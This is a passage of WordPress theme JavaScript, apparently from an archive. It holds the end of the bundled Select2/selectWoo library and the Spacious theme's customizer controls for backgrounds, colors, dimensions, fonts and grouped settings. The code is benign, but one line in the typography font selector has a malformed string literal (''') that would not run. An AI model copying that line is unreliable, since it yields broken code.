if (this.options.get('disabled')) {
if (this.isOpen()) {
this.close();
}
this.trigger('disable', {});
} else {
this.trigger('enable', {});
}
};
Select2.prototype._syncSubtree = function (evt, mutations) {
var changed = false;
var self = this;
// Ignore any mutation events raised for elements that aren't options or
// optgroups. This handles the case when the select element is destroyed
if (
evt && evt.target && (
evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP'
)
) {
return;
}
if (!mutations) {
// If mutation events aren't supported, then we can only assume that the
// change affected the selections
changed = true;
} else if (mutations.addedNodes && mutations.addedNodes.length > 0) {
for (var n = 0; n < mutations.addedNodes.length; n++) {
var node = mutations.addedNodes[n];
if (node.selected) {
changed = true;
}
}
} else if (mutations.removedNodes && mutations.removedNodes.length > 0) {
changed = true;
}
// Only re-pull the data if we think there is a change
if (changed) {
this.dataAdapter.current(function (currentData) {
self.trigger('selection:update', {
data: currentData
});
});
}
};
/**
* Override the trigger method to automatically trigger pre-events when
* there are events that can be prevented.
*/
Select2.prototype.trigger = function (name, args) {
var actualTrigger = Select2.__super__.trigger;
var preTriggerMap = {
'open': 'opening',
'close': 'closing',
'select': 'selecting',
'unselect': 'unselecting'
};
if (args === undefined) {
args = {};
}
if (name in preTriggerMap) {
var preTriggerName = preTriggerMap[name];
var preTriggerArgs = {
prevented: false,
name: name,
args: args
};
actualTrigger.call(this, preTriggerName, preTriggerArgs);
if (preTriggerArgs.prevented) {
args.prevented = true;
return;
}
}
actualTrigger.call(this, name, args);
};
Select2.prototype.toggleDropdown = function () {
if (this.options.get('disabled')) {
return;
}
if (this.isOpen()) {
this.close();
} else {
this.open();
}
};
Select2.prototype.open = function () {
if (this.isOpen()) {
return;
}
this.trigger('query', {});
};
Select2.prototype.close = function () {
if (!this.isOpen()) {
return;
}
this.trigger('close', {});
};
Select2.prototype.isOpen = function () {
return this.$container.hasClass('select2-container--open');
};
Select2.prototype.hasFocus = function () {
return this.$container.hasClass('select2-container--focus');
};
Select2.prototype.focus = function (data) {
// No need to re-trigger focus events if we are already focused
if (this.hasFocus()) {
return;
}
this.$container.addClass('select2-container--focus');
this.trigger('focus', {});
};
Select2.prototype.enable = function (args) {
if (this.options.get('debug') && window.console && console.warn) {
console.warn(
'Select2: The `select2("enable")` method has been deprecated and will' +
' be removed in later Select2 versions. Use $element.prop("disabled")' +
' instead.'
);
}
if (args == null || args.length === 0) {
args = [true];
}
var disabled = !args[0];
this.$element.prop('disabled', disabled);
};
Select2.prototype.data = function () {
if (this.options.get('debug') &&
arguments.length > 0 && window.console && console.warn) {
console.warn(
'Select2: Data can no longer be set using `select2("data")`. You ' +
'should consider setting the value instead using `$element.val()`.'
);
}
var data = [];
this.dataAdapter.current(function (currentData) {
data = currentData;
});
return data;
};
Select2.prototype.val = function (args) {
if (this.options.get('debug') && window.console && console.warn) {
console.warn(
'Select2: The `select2("val")` method has been deprecated and will be' +
' removed in later Select2 versions. Use $element.val() instead.'
);
}
if (args == null || args.length === 0) {
return this.$element.val();
}
var newVal = args[0];
if ($.isArray(newVal)) {
newVal = $.map(newVal, function (obj) {
return obj.toString();
});
}
this.$element.val(newVal).trigger('change');
};
Select2.prototype.destroy = function () {
this.$container.remove();
if (this.$element[0].detachEvent) {
this.$element[0].detachEvent('onpropertychange', this._syncA);
}
if (this._observer != null) {
this._observer.disconnect();
this._observer = null;
} else if (this.$element[0].removeEventListener) {
this.$element[0]
.removeEventListener('DOMAttrModified', this._syncA, false);
this.$element[0]
.removeEventListener('DOMNodeInserted', this._syncS, false);
this.$element[0]
.removeEventListener('DOMNodeRemoved', this._syncS, false);
}
this._syncA = null;
this._syncS = null;
this.$element.off('.select2');
this.$element.attr('tabindex', this.$element.data('old-tabindex'));
this.$element.removeClass('select2-hidden-accessible');
this.$element.attr('aria-hidden', 'false');
this.$element.removeData('select2');
this.dataAdapter.destroy();
this.selection.destroy();
this.dropdown.destroy();
this.results.destroy();
this.dataAdapter = null;
this.selection = null;
this.dropdown = null;
this.results = null;
};
Select2.prototype.render = function () {
var $container = $(
'<span class="select2 select2-container">' +
'<span class="selection"></span>' +
'<span class="dropdown-wrapper" aria-hidden="true"></span>' +
'</span>'
);
$container.attr('dir', this.options.get('dir'));
this.$container = $container;
this.$container.addClass('select2-container--' + this.options.get('theme'));
$container.data('element', this.$element);
return $container;
};
return Select2;
});
S2.define('jquery-mousewheel',[
'jquery'
], function ($) {
// Used to shim jQuery.mousewheel for non-full builds.
return $;
});
S2.define('jquery.select2',[
'jquery',
'jquery-mousewheel',
'./select2/core',
'./select2/defaults'
], function ($, _, Select2, Defaults) {
if ($.fn.selectWoo == null) {
// All methods that should return the element
var thisMethods = ['open', 'close', 'destroy'];
$.fn.selectWoo = function (options) {
options = options || {};
if (typeof options === 'object') {
this.each(function () {
var instanceOptions = $.extend(true, {}, options);
var instance = new Select2($(this), instanceOptions);
});
return this;
} else if (typeof options === 'string') {
var ret;
var args = Array.prototype.slice.call(arguments, 1);
this.each(function () {
var instance = $(this).data('select2');
if (instance == null && window.console && console.error) {
console.error(
'The select2(\'' + options + '\') method was called on an ' +
'element that is not using Select2.'
);
}
ret = instance[options].apply(instance, args);
});
// Check if we should be returning `this`
if ($.inArray(options, thisMethods) > -1) {
return this;
}
return ret;
} else {
throw new Error('Invalid arguments for Select2: ' + options);
}
};
}
if ($.fn.select2 != null && $.fn.select2.defaults != null) {
$.fn.selectWoo.defaults = $.fn.select2.defaults;
}
if ($.fn.selectWoo.defaults == null) {
$.fn.selectWoo.defaults = Defaults;
}
// Also register selectWoo under select2 if select2 is not already present.
$.fn.select2 = $.fn.select2 || $.fn.selectWoo;
return Select2;
});
// Return the AMD loader configuration so it can be used outside of this file
return {
define: S2.define,
require: S2.require
};
}());
// Autoload the jQuery bindings
// We know that all of the modules exist above this, so we're safe
var select2 = S2.require('jquery.select2');
// Hold the AMD module references on the jQuery function that was just loaded
// This allows Select2 to use the internal loader outside of this file, such
// as in the language files.
jQuery.fn.select2.amd = S2;
jQuery.fn.selectWoo.amd = S2;
// Return the Select2 instance for anyone who is importing it.
return select2;
}));
core/custom-controls/assets/js/customize-controls.js 0000666 00000165734 15236704333 0017040 0 ustar 00 /**
* Background image control JS to handle the background customize option.
*
* File `background.js`.
*
* @package Spacious
*/
(
function ( $ ) {
$( window ).on( 'load', function () {
$( 'html' ).addClass( 'colorpicker-ready' );
} );
wp.customize.controlConstructor['spacious-background'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Init background control.
control.initSpaciousBackgroundControl();
},
initSpaciousBackgroundControl : function () {
var control = this,
value = control.setting._value,
colorpicker = control.container.find( '.spacious-color-picker-alpha' );
// Hide unnecessary controls by default and show only when background image is set.
if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
control.container.find( '.customize-control-content > .background-repeat' ).hide();
control.container.find( '.customize-control-content > .background-position' ).hide();
control.container.find( '.customize-control-content > .background-size' ).hide();
control.container.find( '.customize-control-content > .background-attachment' ).hide();
}
// Background color setting.
colorpicker.wpColorPicker( {
change : function () {
if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
setTimeout(
function () {
control.saveValue( 'background-color', colorpicker.val() );
},
100
);
}
},
clear : function ( event ) {
var element = jQuery( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
if ( element ) {
control.saveValue( 'background-color', '' );
}
}
} );
// Background image setting.
control.container.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
var image = wp.media( { multiple : false } ).open().on( 'select', function () {
// This will return the selected image from the Media Uploader, the result is an object.
var uploadedImage = image.state().get( 'selection' ).first(),
previewImage = uploadedImage.toJSON().sizes.full.url,
imageUrl,
imageID,
imageWidth,
imageHeight,
preview,
removeButton;
if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
previewImage = uploadedImage.toJSON().sizes.medium.url;
} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
}
imageUrl = uploadedImage.toJSON().sizes.full.url;
imageID = uploadedImage.toJSON().id;
imageWidth = uploadedImage.toJSON().width;
imageHeight = uploadedImage.toJSON().height;
// Show extra controls if the value has an image.
if ( '' !== imageUrl ) {
control.container.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
}
control.saveValue( 'background-image', imageUrl );
preview = control.container.find( '.placeholder, .thumbnail' );
removeButton = control.container.find( '.background-image-upload-remove-button' );
if ( preview.length ) {
preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
}
if ( removeButton.length ) {
removeButton.show();
}
} );
e.preventDefault();
} );
control.container.on( 'click', '.background-image-upload-remove-button', function ( e ) {
var preview,
removeButton;
e.preventDefault();
control.saveValue( 'background-image', '' );
preview = control.container.find( '.placeholder, .thumbnail' );
removeButton = control.container.find( '.background-image-upload-remove-button' );
// Hide unnecessary controls.
control.container.find( '.customize-control-content > .background-repeat' ).hide();
control.container.find( '.customize-control-content > .background-position' ).hide();
control.container.find( '.customize-control-content > .background-size' ).hide();
control.container.find( '.customize-control-content > .background-attachment' ).hide();
if ( preview.length ) {
preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
}
if ( removeButton.length ) {
removeButton.hide();
}
} );
// Background repeat setting.
control.container.on( 'change', '.background-repeat select', function () {
control.saveValue( 'background-repeat', jQuery( this ).val() );
} );
// Background position setting.
control.container.on( 'change', '.background-position select', function () {
control.saveValue( 'background-position', jQuery( this ).val() );
} );
// Background size setting.
control.container.on( 'change', '.background-size select', function () {
control.saveValue( 'background-size', jQuery( this ).val() );
} );
// Background attachment setting.
control.container.on( 'change', '.background-attachment select', function () {
control.saveValue( 'background-attachment', jQuery( this ).val() );
} );
},
/**
* Saves the value.
*/
saveValue : function ( property, value ) {
var control = this,
input = jQuery( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
val = control.setting._value;
val[property] = value;
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
}
} );
}
)( jQuery );
/**
* Radio buttonset control JS to handle the toggle of radio buttonsets.
*
* File `buttonset.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor[ 'spacious-buttonset' ] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Change the value.
this.container.on( 'click', 'input', function () {
control.setting.set( jQuery( this ).val() );
} );
}
} );
/**
* Color picker control JS to handle color picker rendering within customize control.
*
* File `color.js`.
*
* @package Spacious
*/
(
function ( $ ) {
$( window ).on( 'load', function () {
$( 'html' ).addClass( 'colorpicker-ready' );
} );
wp.customize.controlConstructor[ 'spacious-color' ] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
this.container.find( '.spacious-color-picker-alpha' ).wpColorPicker( {
change : function ( event, ui ) {
var color = ui.color.toString();
if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
control.setting.set( color );
}
}
} );
}
} );
}
)( jQuery );
/**
* Dimensions JS to handle the background customize option.
*
* File `background.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor['spacious-dimensions'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Top Dimension setting.
control.container.on( 'change keyup paste input', '.top input', function () {
control.updateTop();
} );
// Right Dimension setting.
control.container.on( 'change keyup paste input', '.right input', function () {
control.updateRight();
} );
// Left Dimension setting.
control.container.on( 'change keyup paste input', '.left input', function () {
control.updateLeft();
} );
// Bottom Dimension setting.
control.container.on( 'change keyup paste input', '.bottom input', function () {
control.updateBottom();
} );
},
updateTop : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'top' : {}
};
control.container.find( '.top .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['top'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateRight : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'right' : {}
};
control.container.find( '.right .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['right'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateBottom: function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'bottom' : {}
};
control.container.find( '.bottom .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['bottom'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateLeft : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'left' : {}
};
control.container.find( '.left .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['left'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
} );
/**
* Dropdown categories control JS to handle the dropdown categories customize control.
*
* File `dropdown-categorie.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor[ 'spacious-dropdown-categories' ] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Change the value.
this.container.on( 'change', 'select', function () {
control.setting.set( jQuery( this ).val() );
} );
}
} );
/**
* Editor control JS to handle the editor rendering within customize control.
*
* File `editor.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor[ 'spacious-editor' ] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this,
id = 'editor_' + control.id;
wp.editor.initialize( id, {
tinymce : {
wpautop : true
},
quicktags : true,
mediaButtons : true
} );
},
onChangeActive : function ( active, args ) {
'use strict';
var control = this,
id = 'editor_' + control.id,
element = control.container.find( 'textarea' ),
editor;
editor = tinyMCE.get( id );
if ( editor ) {
editor.onChange.add( function ( ed ) {
var content;
ed.save();
content = editor.getContent();
element.val( content ).trigger( 'change' );
wp.customize.instance( control.id ).set( content );
} );
}
}
} );
/**
* Control: FontAwesome.
*/
(
function ( $ ) {
wp.customize.controlConstructor['spacious-fontawesome'] = wp.customize.Control.extend(
{
ready: function () {
'use strict';
var control = this;
control.initSpaciousFontawesomeControl();
},
initSpaciousFontawesomeControl: function() {
var control = this,
selector = control.selector,
elSelector = $( selector ).find( 'select' ),
faData = [],
value = control.setting._value,
data = window['SpaciousCustomizerControlFontawesome' + this.id],
faDataCounter = 0,
faSelect;
$.each(
data,
function ( key, value ) {
faData[ faDataCounter ] = {
id: value,
text: value
};
faDataCounter++;
}
);
// Add HTML inside the option element.
function formatState( state ) {
if ( ! state.id ) {
return state.text;
}
var $state = $(
'<span><i class="fa fa-lg ' + state.text + '"></i> ' + state.text + '</span>'
);
return $state;
};
// Apply selectWoo.
faSelect = elSelector.selectWoo(
{
data: faData,
width: '100%',
templateResult: formatState,
}
);
faSelect.val( value ).trigger( 'change' );
faSelect.on(
'change',
function () {
control.setting.set( elSelector.val() );
}
);
},
}
);
}
)( jQuery );
/**
* Group control JS to handle the group customize option.
*
* File `group.js`.
*
* @package Spacious
*/
(
function ( $ ) {
wp.customize.controlConstructor['spacious-group'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
control.registerToggleEvents();
this.container.on( 'spacious_settings_changed', control.onOptionChange );
},
registerToggleEvents : function () {
var control = this;
/* Close popup when click outside on customize sidebar area */
$( '.wp-full-overlay-sidebar-content' ).click(
function ( e ) {
if ( ! $( e.target ).closest( '.spacious-field-settings-modal' ).length ) {
$( '.spacious-group-toggle-icon.open' ).trigger( 'click' );
}
}
);
control.container.on(
'click',
'.spacious-group-wrap .spacious-group-toggle-icon',
function ( e ) {
e.preventDefault();
e.stopPropagation();
var $this = $( this ),
parent_wrap = $this.closest( '.customize-control-spacious-group' ),
is_loaded = parent_wrap.find( '.spacious-field-settings-modal' ).data( 'loaded' ),
parent_section = parent_wrap.parents( '.control-section' );
if ( $this.hasClass( 'open' ) ) {
parent_wrap.find( '.spacious-field-settings-modal' ).hide();
} else {
/* Close popup when another popup is clicked */
var get_open_popup = parent_section.find( '.spacious-group-toggle-icon.open' );
if ( get_open_popup.length > 0 ) {
get_open_popup.trigger( 'click' );
}
if ( is_loaded ) {
parent_wrap.find( '.spacious-field-settings-modal' ).show();
} else {
var fields = control.params.spacious_fields,
modal_wrap = $( SpaciousCustomizerControlGroup.group_modal_tmpl ),
device = $( '#customize-footer-actions .active' ).attr( 'data-device' );
parent_wrap.find( '.spacious-field-settings-wrap' ).append( modal_wrap );
parent_wrap.find( '.spacious-fields-wrap' ).attr( 'data-control', control.params.name );
control.spacious_render_field( parent_wrap, fields, control );
parent_wrap.find( '.spacious-field-settings-modal' ).show();
if ( 'mobile' === device ) {
$( '.control-wrap.mobile' ).addClass( 'active' );
$( '.responsive-switchers .preview-mobile' ).addClass( 'active' );
$( '.control-wrap.tablet, .control-wrap.desktop' ).removeClass( 'active' );
$( '.responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
} else if ( 'tablet' === device ) {
$( '.control-wrap.tablet' ).addClass( 'active' );
$( '.responsive-switchers .preview-tablet' ).addClass( 'active' );
$( '.control-wrap.mobile, .control-wrap.desktop' ).removeClass( 'active' );
$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
} else {
$( '.control-wrap.desktop' ).addClass( 'active' );
$( '.responsive-switchers .preview-desktop' ).addClass( 'active' );
$( '.control-wrap.mobile, .control-wrap.tablet' ).removeClass( 'active' );
$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet' ).removeClass( 'active' );
}
}
}
$this.toggleClass( 'open' );
}
);
control.container.on(
'click',
'.spacious-group-wrap > .customizer-text',
function ( e ) {
e.preventDefault();
e.stopPropagation();
$( this ).find( '.spacious-group-toggle-icon' ).trigger( 'click' );
}
);
},
spacious_render_field : function ( wrap, fields, control_element ) {
var control = this;
var spacious_field_wrap = wrap.find( '.spacious-fields-wrap' );
var fields_html = '';
var control_types = [];
var field_values = control.isJSONString( control_element.params.value ) ? JSON.parse( control_element.params.value ) : {};
if ( 'undefined' != typeof fields.tabs ) {
var counter = 0;
fields_html += '<div id="' + control_element.params.name + '-tabs" class="spacious-group-tabs">';
fields_html += '<ul class="spacious-group-list">';
_.each(
fields.tabs,
function ( value, key ) {
var li_class = '';
if ( 0 === counter ) {
li_class = "active";
}
fields_html += '<li class="' + li_class + '"><a href="#tab-' + key.replace( ' ','-' ) + '"><span>' + key + '</span></a></li>';
counter ++;
}
);
fields_html += '</ul>';
fields_html += '<div class="spacious-tab-content" >';
_.each(
fields.tabs,
function ( fields_data, key ) {
var result = control.generateFieldHtml( fields_data, field_values );
fields_html += '<div id="tab-' + key.replace( ' ','-' ) + '" class="tab">';
fields_html += result.html;
_.each(
result.controls,
function ( control_value, control_key ) {
control_types.push(
{
key : control_value.key,
value : control_value.value,
name : control_value.name
}
);
}
);
fields_html += '</div>';
}
);
fields_html += '</div>';
fields_html += '</div>';
spacious_field_wrap.html( fields_html );
$( '#' + control_element.params.name + '-tabs' ).tabs();
} else {
var result = control.generateFieldHtml( fields, field_values );
fields_html += result.html;
_.each(
result.controls,
function ( control_value, control_key ) {
control_types.push(
{
key : control_value.key,
value : control_value.value,
name : control_value.name
}
);
}
);
spacious_field_wrap.html( fields_html );
}
_.each(
control_types,
function ( control_type, index ) {
switch ( control_type.key ) {
case 'spacious-color':
control.initColorControl( spacious_field_wrap, control_element, control_type.name );
break;
case 'spacious-background':
control.initBackgroundControl( control_element, control_type, control_type.name );
break;
case 'spacious-typography':
control.initTypographyControl( control_element, control_type, control_type.name );
break;
}
}
);
wrap.find( '.spacious-field-settings-modal' ).data( 'loaded', true );
},
isJSONString : function ( string ) {
try {
JSON.parse( string );
} catch ( e ) {
return false;
}
return true;
},
generateFieldHtml : function ( fields_data, field_values ) {
var fields_html = '';
var control_types = [];
_.each(
fields_data,
function ( attr, index ) {
var new_value = (
wp.customize.control( attr.name ) ? wp.customize.control( attr.name ).params.value : ''
),
control = attr.control,
template_id = 'customize-control-' + control + '-content',
template = wp.template( template_id ),
value = new_value || attr.default,
dataAtts = '',
input_attrs = '';
attr.value = value;
attr.title = attr.label;
// Data attributes.
_.each(
attr.data_attrs,
function ( value, name ) {
dataAtts += ' data-' + name + ' ="' + value + '"';
}
);
// Input attributes.
_.each(
attr.input_attrs,
function ( value, name ) {
input_attrs += name + ' ="' + value + '"';
}
);
attr.dataAttrs = dataAtts;
attr.inputAttrs = input_attrs;
control_types.push(
{
key : control,
value : value,
name : attr.name
}
);
var responsive_switchers = '',
controlsType = [
'spacious-typography'
];
if ( (
'spacious-typography' === attr.control
) && controlsType.includes( attr.control ) ) {
attr.languages = SpaciousCustomizerControlTypographySubsets;
}
if ( controlsType.includes( attr.control ) ) {
responsive_switchers = 'has-responsive-switchers';
}
fields_html += '<li id="customize-control-' + attr.name + '" class="customize-control ' + responsive_switchers + ' customize-control-' + attr.control + '" >';
fields_html += template( attr );
fields_html += '</li>';
}
);
var result = new Object();
result.controls = control_types;
result.html = fields_html;
return result;
},
onOptionChange : function ( e, control, element, value, name ) {
var control_id = $( '.hidden-field-' + name );
control_id.val( value );
var sub_control = wp.customize.control( name );
sub_control.setting.set( value );
},
initColorControl : function ( wrap, control_elem, name ) {
var control = this;
var colorpicker = wrap.find( '.customize-control-spacious-color .spacious-color-picker-alpha' );
colorpicker.wpColorPicker(
{
change : function ( event, ui ) {
if ( 'undefined' != typeof event.originalEvent || 'undefined' != typeof ui.color._alpha ) {
var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
$( element ).val( ui.color.toString() );
control.container.trigger(
'spacious_settings_changed',
[
control,
$( element ),
ui.color.toString(),
name
]
);
}
},
clear : function ( event ) {
var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
$( element ).val( '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
$( element ),
'',
name
]
);
wp.customize.previewer.refresh();
}
}
);
},
initBackgroundControl : function ( control, control_atts, name ) {
var input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
value = JSON.parse( input.val() ),
control_name = control_atts.name,
colorpicker = control.container.find( '.spacious-color-picker-alpha' ),
controlContainer = control.container.find( '#customize-control-' + control_name );
// Hide unnecessary controls if the value doesn't have an image.
if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
controlContainer.find( '.customize-control-content > .background-position' ).hide();
controlContainer.find( '.customize-control-content > .background-size' ).hide();
controlContainer.find( '.customize-control-content > .background-attachment' ).hide();
}
// Background color setting.
colorpicker.wpColorPicker(
{
change : function () {
if ( $( 'html' ).hasClass( 'colorpicker-ready' ) ) {
var $this = $( this );
setTimeout(
function () {
control.saveBackgroundValue( 'background-color', colorpicker.val(), $this, name );
},
100
);
}
},
clear : function ( event ) {
var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
if ( element ) {
control.saveBackgroundValue( 'background-color', '', $( element ), name );
}
wp.customize.previewer.refresh();
}
}
);
// Background image setting..
controlContainer.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
var upload_img_btn = $( this );
var image = wp.media( { multiple : false } ).open().on( 'select', function () {
// This will return the selected image from the Media Uploader, the result is an object.
var uploadedImage = image.state().get( 'selection' ).first(),
previewImage = uploadedImage.toJSON().sizes.full.url,
imageUrl,
imageID,
imageWidth,
imageHeight,
preview,
removeButton;
if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
previewImage = uploadedImage.toJSON().sizes.medium.url;
} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
}
imageUrl = uploadedImage.toJSON().sizes.full.url;
imageID = uploadedImage.toJSON().id;
imageWidth = uploadedImage.toJSON().width;
imageHeight = uploadedImage.toJSON().height;
// Show extra controls if the value has an image.
if ( '' !== imageUrl ) {
controlContainer.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
}
control.saveBackgroundValue( 'background-image', imageUrl, upload_img_btn, name );
preview = controlContainer.find( '.placeholder, .thumbnail' );
removeButton = controlContainer.find( '.background-image-upload-remove-button' );
if ( preview.length ) {
preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
}
if ( removeButton.length ) {
removeButton.show();
}
} );
e.preventDefault();
} );
controlContainer.on( 'click', '.background-image-upload-remove-button', function ( e ) {
var preview,
removeButton;
e.preventDefault();
control.saveBackgroundValue( 'background-image', '', $( this ) );
preview = controlContainer.find( '.placeholder, .thumbnail' );
removeButton = controlContainer.find( '.background-image-upload-remove-button' );
// Hide unnecessary controls.
controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
controlContainer.find( '.customize-control-content > .background-position' ).hide();
controlContainer.find( '.customize-control-content > .background-size' ).hide();
controlContainer.find( '.customize-control-content > .background-attachment' ).hide();
if ( preview.length ) {
preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
}
if ( removeButton.length ) {
removeButton.hide();
}
} );
// Background repeat setting.
controlContainer.on( 'change', '.background-repeat select', function () {
control.saveBackgroundValue( 'background-repeat', $( this ).val(), $( this ), name );
} );
// Background position setting.
controlContainer.on( 'change', '.background-position select', function () {
control.saveBackgroundValue( 'background-position', $( this ).val(), $( this ), name );
} );
// Background size setting.
controlContainer.on( 'change', '.background-size select', function () {
control.saveBackgroundValue( 'background-size', $( this ).val(), $( this ), name );
} );
// Background attachment setting.
controlContainer.on( 'change', '.background-attachment select', function () {
control.saveBackgroundValue( 'background-attachment', $( this ).val(), $( this ), name );
} );
},
saveBackgroundValue : function ( property, value, element, name ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
val = JSON.parse( input.val() );
val[property] = value;
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
initTypographyControl : function ( control, control_atts, name ) {
var value = control.setting._value,
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name );
// On customizer load, render the available font options.
control.renderTypographyFontSelector( $( this ), name, control_atts );
control.renderTypographyVariantSelector( $( this ), name, control_atts );
control.renderTypographySubsetSelector( $( this ), name, control_atts );
// Font style setting.
controlContainer.on( 'change', '.font-style select', function () {
control.saveTypographyValue( 'font-style', $( this ).val(), $( this ), name );
} );
// Text transform setting.
controlContainer.on( 'change', '.text-transform select', function () {
control.saveTypographyValue( 'text-transform', $( this ).val(), $( this ), name );
} );
// Text decoration setting.
controlContainer.on( 'change', '.text-decoration select', function () {
control.saveTypographyValue( 'text-decoration', $( this ).val(), $( this ), name );
} );
// Font size setting.
controlContainer.on( 'change keyup paste input', '.font-size input', function () {
control.saveTypographyFontSize( $( this ), name, control_atts );
} );
// Line height setting.
controlContainer.on( 'change keyup paste input', '.line-height input', function () {
control.saveTypographyLineHeight( $( this ), name, control_atts );
} );
// Letter spacing setting.
controlContainer.on( 'change keyup paste input', '.letter-spacing input', function () {
control.saveTypographyLetterSpacing( $( this ), name, control_atts );
} );
},
renderTypographyFontSelector : function ( element, name, control_atts ) {
var control = this,
selector = control.selector + ' .font-family select',
standardFonts = [],
googleFonts = [],
customFonts = [],
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
value = JSON.parse( input.val() ),
fonts = control.getTypographyFonts(),
fontSelect;
// Format standard fonts as an array.
if ( ! _.isUndefined( fonts.standard ) ) {
_.each(
fonts.standard,
function ( font ) {
standardFonts.push(
{
id : font.family.replace( /"/g, ''' ),
text : font.label
}
);
}
);
}
// Format Google fonts as an array.
if ( ! _.isUndefined( fonts.google ) ) {
_.each(
fonts.google,
function ( font ) {
googleFonts.push(
{
id : font.family,
text : font.label
}
);
}
);
}
// Combine fonts and build the final data.
data = [
{
text : fonts.standardfontslabel,
children : standardFonts
},
{
text : fonts.googlefontslabel,
children : googleFonts
}
];
// Format custom fonts as an array.
if ( ! _.isUndefined( fonts.custom ) ) {
_.each(
fonts.custom,
function ( font ) {
customFonts.push(
{
id : font.family,
text : font.label
}
);
}
);
// Merge on `data` array.
data.push(
{
text : fonts.customfontslabel,
children : customFonts
}
);
}
// Instantiate selectWoo with the data.
fontSelect = $( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
// Set the initial value.
if ( value['font-family'] ) {
fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' );
}
// When the font option value changes.
fontSelect.on(
'change',
function () {
// Set the value.
